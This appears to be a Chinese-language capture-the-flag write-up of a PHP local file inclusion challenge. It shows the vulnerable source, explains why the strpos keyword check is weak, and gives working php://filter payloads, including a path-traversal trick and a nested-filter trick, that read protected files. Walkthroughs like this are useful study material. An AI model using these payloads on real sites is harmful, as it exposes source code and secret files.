知识点:伪协议嵌套,假路径包含
有参数,试验
有错误提示
读个源码看看
?category=php://filter/convert.base64-encode/resource=index
拿到源码,解码
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
主要就是这一句话
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
strpos找字符串第一次出现的次数。
!==不仅比较值还比较类型。
5 !== false 为true
所以只要参数中有woofers...就可以了。
有两种绕过方法
1、假路径包含
?category=php://filter/convert.base64-encode/resource=index/../flag
进入index文件夹,但index文件夹不存在,返回上一层读flag
2、伪协议嵌套
?category=php://filter/convert.base64-encode/index/resource=flag